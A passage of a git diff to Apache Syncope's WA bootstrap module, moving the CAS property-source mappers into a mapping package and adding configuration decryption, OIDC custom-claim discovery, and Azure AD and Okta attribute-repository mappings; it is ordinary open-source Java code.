props.getCore().setTimeStepSize(conf.getTimeStepSize()); - props.getCore().setWindowSize(conf.getWindowSize()); - - if (conf.getLdap() != null) { - LdapGoogleAuthenticatorMultifactorProperties ldapProps = new LdapGoogleAuthenticatorMultifactorProperties(); - ldapProps.setAccountAttributeName(conf.getLdap().getAccountAttributeName()); - fill(ldapProps, conf.getLdap()); - props.setLdap(ldapProps); - } - - return prefix("cas.authn.mfa.gauth.", CasCoreConfigurationUtils.asMap(props)); - } - - @SuppressWarnings("deprecation") - @Override - public Map map(final AuthModuleTO authModuleTO, final DuoMfaAuthModuleConf conf) { - DuoSecurityMultifactorAuthenticationProperties props = new DuoSecurityMultifactorAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setOrder(authModuleTO.getOrder()); - props.setDuoApiHost(conf.getApiHost()); - props.setDuoApplicationKey(conf.getApplicationKey()); - props.setDuoIntegrationKey(conf.getIntegrationKey()); - props.setDuoSecretKey(conf.getSecretKey()); - - return prefix("cas.authn.mfa.duo.", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final U2FAuthModuleConf conf) { - U2FMultifactorAuthenticationProperties props = new U2FMultifactorAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setOrder(authModuleTO.getOrder()); - props.getCore().setExpireDevices(conf.getExpireDevices()); - props.getCore().setExpireDevicesTimeUnit(TimeUnit.valueOf(conf.getExpireDevicesTimeUnit())); - props.getCore().setExpireRegistrations(conf.getExpireRegistrations()); - props.getCore().setExpireRegistrationsTimeUnit(TimeUnit.valueOf(conf.getExpireRegistrationsTimeUnit())); - - return prefix("cas.authn.mfa.u2f.", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final SimpleMfaAuthModuleConf conf) { - CasSimpleMultifactorAuthenticationProperties props = new CasSimpleMultifactorAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setOrder(authModuleTO.getOrder()); - - props.getMail().setAttributeName(conf.getEmailAttribute()); - props.getMail().setFrom(conf.getEmailFrom()); - props.getMail().setSubject(conf.getEmailSubject()); - props.getMail().setText(conf.getEmailText()); - - props.getToken().getCore().setTokenLength(conf.getTokenLength()); - props.getToken().getCore().setTimeToKillInSeconds(conf.getTimeToKillInSeconds()); - - if (StringUtils.isNotBlank(conf.getBypassGroovyScript())) { - try { - props.getBypass().getGroovy().setLocation(ResourceUtils.getResourceFrom(conf.getBypassGroovyScript())); - } catch (Exception e) { - LOG.error("Unable to load groovy script for bypass", e); - throw new IllegalArgumentException(e); - } - } - - return prefix("cas.authn.mfa.simple.", CasCoreConfigurationUtils.asMap(props)); - } -} diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WABootstrapConfiguration.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WABootstrapConfiguration.java index 1ffd7a7393c..dcd0fb7a213 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WABootstrapConfiguration.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WABootstrapConfiguration.java @@ -18,16 +18,24 @@ */ package org.apache.syncope.wa.bootstrap; +import org.apache.syncope.wa.bootstrap.mapping.AttrReleaseMapper; +import org.apache.syncope.wa.bootstrap.mapping.AttrRepoPropertySourceMapper; +import org.apache.syncope.wa.bootstrap.mapping.AuthModulePropertySourceMapper; +import org.apache.syncope.wa.bootstrap.mapping.DefaultAttrReleaseMapper; +import org.apereo.cas.configuration.support.CasConfigurationJasyptCipherExecutor; +import org.apereo.cas.util.crypto.CipherExecutor; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.cloud.bootstrap.config.PropertySourceLocator; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; +import org.springframework.core.env.Environment; @Configuration(proxyBeanMethods = false) @PropertySource("classpath:wa.properties") -@PropertySource(value = "file:${conf.directory}/wa.properties", ignoreResourceNotFound = true) +@PropertySource(value = "file:${syncope.conf.dir}/wa.properties", ignoreResourceNotFound = true) public class WABootstrapConfiguration { @Configuration(proxyBeanMethods = false) @@ -42,15 +50,24 @@ public static class WAClientConfiguration { @Value("${wa.useGZIPCompression:true}") private boolean useGZIPCompression; + @Value("${service.discovery.address}") + private String serviceDiscoveryAddress; + @Bean public WARestClient waRestClient() { - return new WARestClient(anonymousUser, anonymousKey, useGZIPCompression); + return new WARestClient(anonymousUser, anonymousKey, useGZIPCompression, serviceDiscoveryAddress); } } @Configuration(proxyBeanMethods = false) public static class PropertySourceConfiguration { + @ConditionalOnMissingBean(name = "waConfigurationCipher") + @Bean + public CipherExecutor waConfigurationCipher(final Environment environment) { + return new CasConfigurationJasyptCipherExecutor(environment); + } + @ConditionalOnMissingBean @Bean public AuthModulePropertySourceMapper authModulePropertySourceMapper(final WARestClient waRestClient) { @@ -63,14 +80,27 @@ public AttrRepoPropertySourceMapper attrRepoPropertySourceMapper(final WARestCli return new AttrRepoPropertySourceMapper(waRestClient); } + @ConditionalOnMissingBean + @Bean + public AttrReleaseMapper attrReleaseMapper() { + return new DefaultAttrReleaseMapper(); + } + @Bean public PropertySourceLocator configPropertySourceLocator( + @Qualifier("waConfigurationCipher") + final CipherExecutor waConfigurationCipher, final WARestClient waRestClient, final AuthModulePropertySourceMapper authModulePropertySourceMapper, - final AttrRepoPropertySourceMapper attrRepoPropertySourceMapper) { + final AttrRepoPropertySourceMapper attrRepoPropertySourceMapper, + final AttrReleaseMapper attrReleaseMapper) { return new WAPropertySourceLocator( - waRestClient, authModulePropertySourceMapper, attrRepoPropertySourceMapper); + waRestClient, + authModulePropertySourceMapper, + attrRepoPropertySourceMapper, + attrReleaseMapper, + waConfigurationCipher); } } } diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAProperties.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAProperties.java index f8cf497430f..25d93a489a8 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAProperties.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAProperties.java @@ -24,6 +24,8 @@ @ConfigurationProperties("wa") public class WAProperties extends SyncopeProperties { + private static final long serialVersionUID = 7925827623055998239L; + private long contextRefreshDelay = 15; public long getContextRefreshDelay() { diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java index 1257a57897a..c24434312b8 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java @@ -19,15 +19,36 @@ package org.apache.syncope.wa.bootstrap; import java.util.HashMap; +import java.util.HashSet; import java.util.Map; +import java.util.Objects; +import java.util.Set; import java.util.TreeMap; import java.util.stream.Collectors; +import java.util.stream.Stream; +import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.client.lib.SyncopeClient; +import org.apache.syncope.common.lib.OIDCScopeConstants; +import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.rest.api.service.AttrRepoService; import org.apache.syncope.common.rest.api.service.AuthModuleService; +import org.apache.syncope.common.rest.api.service.wa.WAClientAppService; import org.apache.syncope.common.rest.api.service.wa.WAConfigService; +import org.apache.syncope.wa.bootstrap.mapping.AttrReleaseMapper; +import org.apache.syncope.wa.bootstrap.mapping.AttrRepoPropertySourceMapper; +import org.apache.syncope.wa.bootstrap.mapping.AuthModulePropertySourceMapper; +import org.apereo.cas.configuration.model.support.oidc.OidcDiscoveryProperties; +import org.apereo.cas.oidc.claims.OidcAddressScopeAttributeReleasePolicy; +import org.apereo.cas.oidc.claims.OidcEmailScopeAttributeReleasePolicy; +import org.apereo.cas.oidc.claims.OidcPhoneScopeAttributeReleasePolicy; +import org.apereo.cas.oidc.claims.OidcProfileScopeAttributeReleasePolicy; +import org.apereo.cas.services.BaseMappedAttributeReleasePolicy; +import org.apereo.cas.services.ChainingAttributeReleasePolicy; +import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; +import org.apereo.cas.services.ReturnAllowedAttributeReleasePolicy; +import org.apereo.cas.util.crypto.CipherExecutor; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.cloud.bootstrap.config.PropertySourceLocator; @@ -47,14 +68,22 @@ public class WAPropertySourceLocator implements PropertySourceLocator { protected final AttrRepoPropertySourceMapper attrRepoPropertySourceMapper; + protected final AttrReleaseMapper attrReleaseMapper; + + protected final CipherExecutor configurationCipher; + public WAPropertySourceLocator( final WARestClient waRestClient, final AuthModulePropertySourceMapper authModulePropertySourceMapper, - final AttrRepoPropertySourceMapper attrRepoPropertySourceMapper) { + final AttrRepoPropertySourceMapper attrRepoPropertySourceMapper, + final AttrReleaseMapper attrReleaseMapper, + final CipherExecutor configurationCipher) { this.waRestClient = waRestClient; this.authModulePropertySourceMapper = authModulePropertySourceMapper; this.attrRepoPropertySourceMapper = attrRepoPropertySourceMapper; + this.attrReleaseMapper = attrReleaseMapper; + this.configurationCipher = configurationCipher; } protected Map index(final Map map, final Map prefixes) { @@ -103,10 +132,62 @@ public PropertySource locate(final Environment environment) { properties.putAll(index(map, prefixes)); }); + Set customClaims = syncopeClient.getService(WAClientAppService.class).list().stream(). + filter(clientApp -> clientApp.getAttrReleasePolicy() != null + && clientApp.getClientAppTO() instanceof OIDCRPClientAppTO). + flatMap(clientApp -> { + OIDCRPClientAppTO rp = OIDCRPClientAppTO.class.cast(clientApp.getClientAppTO()); + + RegisteredServiceAttributeReleasePolicy attributeReleasePolicy = + attrReleaseMapper.build(clientApp.getAttrReleasePolicy()); + + Set claims = new HashSet<>(); + if (attributeReleasePolicy instanceof BaseMappedAttributeReleasePolicy) { + claims.addAll(((BaseMappedAttributeReleasePolicy) attributeReleasePolicy). + getAllowedAttributes().values().stream(). + map(Objects::toString).collect(Collectors.toSet())); + } else if (attributeReleasePolicy instanceof ReturnAllowedAttributeReleasePolicy) { + claims.addAll(((ReturnAllowedAttributeReleasePolicy) attributeReleasePolicy). + getAllowedAttributes().stream().collect(Collectors.toSet())); + } else if (attributeReleasePolicy instanceof ChainingAttributeReleasePolicy) { + ((ChainingAttributeReleasePolicy) attributeReleasePolicy).getPolicies().stream(). + filter(ReturnAllowedAttributeReleasePolicy.class::isInstance). + findFirst().map(ReturnAllowedAttributeReleasePolicy.class::cast). + map(p -> p.getAllowedAttributes().stream().collect(Collectors.toSet())). + ifPresent(claims::addAll); + } + if (rp.getScopes().contains(OIDCScopeConstants.PROFILE)) { + claims.removeAll(OidcProfileScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.ADDRESS)) { + claims.removeAll(OidcAddressScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.EMAIL)) { + claims.removeAll(OidcEmailScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.PHONE)) { + claims.removeAll(OidcPhoneScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + + return claims.stream(); + }).collect(Collectors.toSet()); + if (!customClaims.isEmpty()) { + Stream.concat(new OidcDiscoveryProperties().getClaims().stream(), customClaims.stream()). + collect(Collectors.joining(",")); + + properties.put("cas.authn.oidc.discovery.claims", + Stream.concat(new OidcDiscoveryProperties().getClaims().stream(), customClaims.stream()). + collect(Collectors.joining(","))); + properties.put("cas.authn.oidc.core.user-defined-scopes.syncope", + customClaims.stream().collect(Collectors.joining(","))); + } + syncopeClient.getService(WAConfigService.class).list().forEach(attr -> properties.put( attr.getSchema(), attr.getValues().stream().collect(Collectors.joining(",")))); LOG.debug("Collected WA properties: {}", properties); - return new MapPropertySource(getClass().getName(), properties); + Map decodedProperties = configurationCipher.decode(properties, ArrayUtils.EMPTY_OBJECT_ARRAY); + LOG.debug("Decoded WA properties: {}", decodedProperties); + return new MapPropertySource(getClass().getName(), decodedProperties); } } diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WARestClient.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WARestClient.java index 0cfcd9ae3e4..cd7c2277825 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WARestClient.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WARestClient.java @@ -19,6 +19,9 @@ package org.apache.syncope.wa.bootstrap; import java.util.Collection; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; import java.util.Optional; import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; import org.apache.syncope.client.lib.SyncopeClient; @@ -33,24 +36,57 @@ public class WARestClient { - private static final Logger LOG = LoggerFactory.getLogger(WARestClient.class); + protected static final Logger LOG = LoggerFactory.getLogger(WARestClient.class); - private final String anonymousUser; + protected final String anonymousUser; - private final String anonymousKey; + protected final String anonymousKey; - private final boolean useGZIPCompression; + protected final boolean useGZIPCompression; + + protected final String serviceDiscoveryAddress; + + protected final Map, Object> services = Collections.synchronizedMap(new HashMap<>()); private SyncopeClient client; public WARestClient( final String anonymousUser, final String anonymousKey, - final boolean useGZIPCompression) { + final boolean useGZIPCompression, + final String serviceDiscoveryAddress) { this.anonymousUser = anonymousUser; this.anonymousKey = anonymousKey; this.useGZIPCompression = useGZIPCompression; + this.serviceDiscoveryAddress = serviceDiscoveryAddress; + } + + protected Optional getCore() { + try { + ApplicationContext ctx = ApplicationContextProvider.getApplicationContext(); + if (ctx == null) { + return Optional.empty(); + } + + Collection serviceOpsList = ctx.getBeansOfType(ServiceOps.class).values(); + if (serviceOpsList.isEmpty()) { + return Optional.empty(); + } + + ServiceOps serviceOps = serviceOpsList.iterator().next(); + + if (serviceOps.list(NetworkService.Type.WA). + stream().anyMatch(s -> s.getAddress().equals(serviceDiscoveryAddress))) { + + return Optional.of(serviceOps.get(NetworkService.Type.CORE)); + } + + return Optional.empty(); + } catch (KeymasterException e) { + LOG.trace(e.getMessage()); + } + return Optional.empty(); } public SyncopeClient getSyncopeClient() { @@ -72,30 +108,28 @@ public SyncopeClient getSyncopeClient() { } } - private static Optional getCore() { - try { - ApplicationContext context = ApplicationContextProvider.getApplicationContext(); - if (context == null) { - return Optional.empty(); - } + @SuppressWarnings("unchecked") + public T getService(final Class serviceClass) { + if (!isReady()) { + throw new IllegalStateException("Syncope core is not yet ready"); + } - Collection serviceOpsList = context.getBeansOfType(ServiceOps.class).values(); - if (serviceOpsList.isEmpty()) { - return Optional.empty(); - } - ServiceOps serviceOps = serviceOpsList.iterator().next(); - return Optional.of(serviceOps.get(NetworkService.Type.CORE)); - } catch (KeymasterException e) { - LOG.trace(e.getMessage()); + T service; + if (services.containsKey(serviceClass)) { + service = (T) services.get(serviceClass); + } else { + service = getSyncopeClient().getService(serviceClass); + services.put(serviceClass, service); } - return Optional.empty(); + + return service; } - public static boolean isReady() { + public boolean isReady() { try { return getCore().isPresent(); } catch (Exception e) { - LOG.trace(e.getMessage()); + LOG.trace("While checking Core's availability: {}", e.getMessage()); } return false; } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrReleaseMapper.java similarity index 85% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapper.java rename to wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrReleaseMapper.java index 8517c46c5e9..021968582a3 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapper.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrReleaseMapper.java @@ -16,14 +16,15 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.starter.mapping; +package org.apache.syncope.wa.bootstrap.mapping; -import java.util.Map; +import org.apache.syncope.common.lib.policy.AttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; -@FunctionalInterface public interface AttrReleaseMapper { - RegisteredServiceAttributeReleasePolicy build(AttrReleasePolicyTO policy, Map releaseAttrs); + boolean supports(AttrReleasePolicyConf conf); + + RegisteredServiceAttributeReleasePolicy build(AttrReleasePolicyTO policy); } diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AttrRepoPropertySourceMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrRepoPropertySourceMapper.java similarity index 68% rename from wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AttrRepoPropertySourceMapper.java rename to wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrRepoPropertySourceMapper.java index e42ee01dba9..9194ad882fb 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AttrRepoPropertySourceMapper.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AttrRepoPropertySourceMapper.java @@ -16,22 +16,29 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.bootstrap; +package org.apache.syncope.wa.bootstrap.mapping; import java.util.Map; +import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.attr.AttrRepoConf; +import org.apache.syncope.common.lib.attr.AzureActiveDirectoryAttrRepoConf; import org.apache.syncope.common.lib.attr.JDBCAttrRepoConf; import org.apache.syncope.common.lib.attr.LDAPAttrRepoConf; +import org.apache.syncope.common.lib.attr.OktaAttrRepoConf; import org.apache.syncope.common.lib.attr.StubAttrRepoConf; import org.apache.syncope.common.lib.attr.SyncopeAttrRepoConf; import org.apache.syncope.common.lib.to.AttrRepoTO; +import org.apache.syncope.common.lib.to.Item; +import org.apache.syncope.wa.bootstrap.WARestClient; import org.apereo.cas.configuration.CasCoreConfigurationUtils; import org.apereo.cas.configuration.model.core.authentication.AttributeRepositoryStates; import org.apereo.cas.configuration.model.core.authentication.StubPrincipalAttributesProperties; +import org.apereo.cas.configuration.model.support.azuread.AzureActiveDirectoryAttributesProperties; import org.apereo.cas.configuration.model.support.jdbc.JdbcPrincipalAttributesProperties; import org.apereo.cas.configuration.model.support.ldap.LdapPrincipalAttributesProperties; +import org.apereo.cas.configuration.model.support.okta.OktaPrincipalAttributesProperties; import org.apereo.cas.configuration.model.support.syncope.SyncopePrincipalAttributesProperties; public class AttrRepoPropertySourceMapper extends PropertySourceMapper implements AttrRepoConf.Mapper { @@ -59,9 +66,10 @@ public Map map(final AttrRepoTO attrRepoTO, final LDAPAttrRepoCo props.setId(attrRepoTO.getKey()); props.setState(AttributeRepositoryStates.valueOf(attrRepoTO.getState().name())); props.setOrder(attrRepoTO.getOrder()); - props.setAttributes(conf.getAttributes()); props.setUseAllQueryAttributes(conf.isUseAllQueryAttributes()); props.setQueryAttributes(conf.getQueryAttributes()); + props.setAttributes(attrRepoTO.getItems().stream(). + collect(Collectors.toMap(Item::getIntAttrName, Item::getExtAttrName))); fill(props, conf); return prefix("cas.authn.attribute-repository.ldap[].", CasCoreConfigurationUtils.asMap(props)); @@ -80,9 +88,10 @@ public Map map(final AttrRepoTO attrRepoTO, final JDBCAttrRepoCo props.setQueryType(conf.getQueryType().name()); props.setColumnMappings(conf.getColumnMappings()); props.setUsername(conf.getUsername()); - props.setAttributes(conf.getAttributes()); props.setCaseInsensitiveQueryAttributes(conf.getCaseInsensitiveQueryAttributes()); props.setQueryAttributes(conf.getQueryAttributes()); + props.setAttributes(attrRepoTO.getItems().stream(). + collect(Collectors.toMap(Item::getIntAttrName, Item::getExtAttrName))); fill(props, conf); return prefix("cas.authn.attribute-repository.jdbc[].", CasCoreConfigurationUtils.asMap(props)); @@ -106,7 +115,40 @@ public Map map(final AttrRepoTO attrRepoTO, final SyncopeAttrRep props.setBasicAuthUsername(conf.getBasicAuthUsername()); props.setBasicAuthPassword(conf.getBasicAuthPassword()); props.setHeaders(props.getHeaders()); + props.setAttributeMappings(attrRepoTO.getItems(). + stream().collect(Collectors.toMap(Item::getIntAttrName, Item::getExtAttrName))); return prefix("cas.authn.attribute-repository.syncope.", CasCoreConfigurationUtils.asMap(props)); } + + @Override + public Map map(final AttrRepoTO attrRepoTO, final AzureActiveDirectoryAttrRepoConf conf) { + AzureActiveDirectoryAttributesProperties props = new AzureActiveDirectoryAttributesProperties(); + props.setId(attrRepoTO.getKey()); + props.setOrder(attrRepoTO.getOrder()); + props.setClientId(conf.getClientId()); + props.setClientSecret(conf.getClientSecret()); + props.setLoginBaseUrl(conf.getLoginUrl()); + props.setResource(conf.getResource()); + props.setTenant(conf.getTenant()); + props.setScope(conf.getScope()); + props.setCaseInsensitive(conf.isCaseInsensitive()); + props.setAttributes(attrRepoTO.getItems().stream().map(Item::getExtAttrName).collect(Collectors.joining(","))); + + return prefix( + "cas.authn.attribute-repository.azure-active-directory[].", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AttrRepoTO attrRepoTO, final OktaAttrRepoConf conf) { + OktaPrincipalAttributesProperties props = new OktaPrincipalAttributesProperties(); + props.setId(attrRepoTO.getKey()); + props.setOrder(attrRepoTO.getOrder()); + props.setOrganizationUrl(conf.getOrganizationUrl()); + props.setUsernameAttribute(conf.getUsernameAttribute()); + props.setScopes(conf.getScopes()); + props.setApiToken(conf.getApiToken()); + + return prefix("cas.authn.attribute-repository.okta.", CasCoreConfigurationUtils.asMap(props)); + } } diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AuthModulePropertySourceMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AuthModulePropertySourceMapper.java new file mode 100644 index 00000000000..68068aab658 --- /dev/null +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/AuthModulePropertySourceMapper.java @@ -0,0 +1,566 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.bootstrap.mapping; + +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; +import org.apache.commons.lang3.BooleanUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.client.lib.SyncopeClient; +import org.apache.syncope.common.lib.auth.AbstractOIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.AppleOIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.AuthModuleConf; +import org.apache.syncope.common.lib.auth.AzureActiveDirectoryAuthModuleConf; +import org.apache.syncope.common.lib.auth.AzureOIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.DuoMfaAuthModuleConf; +import org.apache.syncope.common.lib.auth.GoogleMfaAuthModuleConf; +import org.apache.syncope.common.lib.auth.GoogleOIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.JDBCAuthModuleConf; +import org.apache.syncope.common.lib.auth.JaasAuthModuleConf; +import org.apache.syncope.common.lib.auth.KeycloakOIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.LDAPAuthModuleConf; +import org.apache.syncope.common.lib.auth.OAuth20AuthModuleConf; +import org.apache.syncope.common.lib.auth.OIDCAuthModuleConf; +import org.apache.syncope.common.lib.auth.OktaAuthModuleConf; +import org.apache.syncope.common.lib.auth.SAML2IdPAuthModuleConf; +import org.apache.syncope.common.lib.auth.SimpleMfaAuthModuleConf; +import org.apache.syncope.common.lib.auth.SpnegoAuthModuleConf; +import org.apache.syncope.common.lib.auth.StaticAuthModuleConf; +import org.apache.syncope.common.lib.auth.SyncopeAuthModuleConf; +import org.apache.syncope.common.lib.auth.U2FAuthModuleConf; +import org.apache.syncope.common.lib.auth.X509AuthModuleConf; +import org.apache.syncope.common.lib.to.AuthModuleTO; +import org.apache.syncope.common.lib.to.Item; +import org.apache.syncope.common.lib.types.AuthModuleState; +import org.apache.syncope.wa.bootstrap.WARestClient; +import org.apereo.cas.configuration.CasCoreConfigurationUtils; +import org.apereo.cas.configuration.model.core.authentication.AuthenticationHandlerStates; +import org.apereo.cas.configuration.model.support.azuread.AzureActiveDirectoryAuthenticationProperties; +import org.apereo.cas.configuration.model.support.generic.AcceptAuthenticationProperties; +import org.apereo.cas.configuration.model.support.jaas.JaasAuthenticationProperties; +import org.apereo.cas.configuration.model.support.jdbc.authn.QueryJdbcAuthenticationProperties; +import org.apereo.cas.configuration.model.support.ldap.AbstractLdapAuthenticationProperties.AuthenticationTypes; +import org.apereo.cas.configuration.model.support.ldap.AbstractLdapProperties; +import org.apereo.cas.configuration.model.support.ldap.LdapAuthenticationProperties; +import org.apereo.cas.configuration.model.support.mfa.DuoSecurityMultifactorAuthenticationProperties; +import org.apereo.cas.configuration.model.support.mfa.gauth.GoogleAuthenticatorMultifactorProperties; +import org.apereo.cas.configuration.model.support.mfa.gauth.LdapGoogleAuthenticatorMultifactorProperties; +import org.apereo.cas.configuration.model.support.mfa.simple.CasSimpleMultifactorAuthenticationProperties; +import org.apereo.cas.configuration.model.support.mfa.u2f.U2FMultifactorAuthenticationProperties; +import org.apereo.cas.configuration.model.support.okta.OktaAuthenticationProperties; +import org.apereo.cas.configuration.model.support.pac4j.oauth.Pac4jOAuth20ClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.BasePac4jOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jAppleOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jAzureOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jGenericOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jGoogleOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jKeyCloakOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jOidcClientProperties; +import org.apereo.cas.configuration.model.support.pac4j.saml.Pac4jSamlClientProperties; +import org.apereo.cas.configuration.model.support.spnego.SpnegoAuthenticationProperties; +import org.apereo.cas.configuration.model.support.spnego.SpnegoLdapProperties; +import org.apereo.cas.configuration.model.support.spnego.SpnegoProperties; +import org.apereo.cas.configuration.model.support.syncope.SyncopeAuthenticationProperties; +import org.apereo.cas.configuration.model.support.x509.SubjectDnPrincipalResolverProperties.SubjectDnFormat; +import org.apereo.cas.configuration.model.support.x509.X509LdapProperties; +import org.apereo.cas.configuration.model.support.x509.X509Properties; +import org.apereo.cas.configuration.model.support.x509.X509Properties.PrincipalTypes; +import org.apereo.cas.util.ResourceUtils; +import org.apereo.cas.util.model.TriStateBoolean; + +public class AuthModulePropertySourceMapper extends PropertySourceMapper implements AuthModuleConf.Mapper { + + protected final WARestClient waRestClient; + + public AuthModulePropertySourceMapper(final WARestClient waRestClient) { + this.waRestClient = waRestClient; + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final StaticAuthModuleConf conf) { + AcceptAuthenticationProperties props = new AcceptAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setOrder(authModuleTO.getOrder()); + props.setCredentialCriteria(conf.getCredentialCriteria()); + String users = conf.getUsers().entrySet().stream(). + map(entry -> entry.getKey() + "::" + entry.getValue()). + collect(Collectors.joining(",")); + props.setUsers(users); + + return prefix("cas.authn.accept.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final LDAPAuthModuleConf conf) { + LdapAuthenticationProperties props = new LdapAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setOrder(authModuleTO.getOrder()); + + props.setType(AuthenticationTypes.valueOf(conf.getAuthenticationType().name())); + props.setDnFormat(conf.getDnFormat()); + props.setEnhanceWithEntryResolver(conf.isEnhanceWithEntryResolver()); + props.setDerefAliases(Optional.ofNullable(conf.getDerefAliases()). + map(LDAPAuthModuleConf.DerefAliasesType::name).orElse(null)); + props.setResolveFromAttribute(conf.getResolveFromAttribute()); + + props.setPrincipalAttributeId(conf.getPrincipalAttributeId()); + props.setPrincipalDnAttributeName(conf.getPrincipalDnAttributeName()); + props.setPrincipalAttributeList(authModuleTO.getItems().stream(). + map(item -> item.getIntAttrName() + ":" + item.getExtAttrName()).collect(Collectors.toList())); + props.setAllowMultiplePrincipalAttributeValues(conf.isAllowMultiplePrincipalAttributeValues()); + props.setAdditionalAttributes(conf.getAdditionalAttributes()); + props.setAllowMissingPrincipalAttributeValue(conf.isAllowMissingPrincipalAttributeValue()); + props.setCollectDnAttribute(conf.isCollectDnAttribute()); + props.setCredentialCriteria(conf.getCredentialCriteria()); + 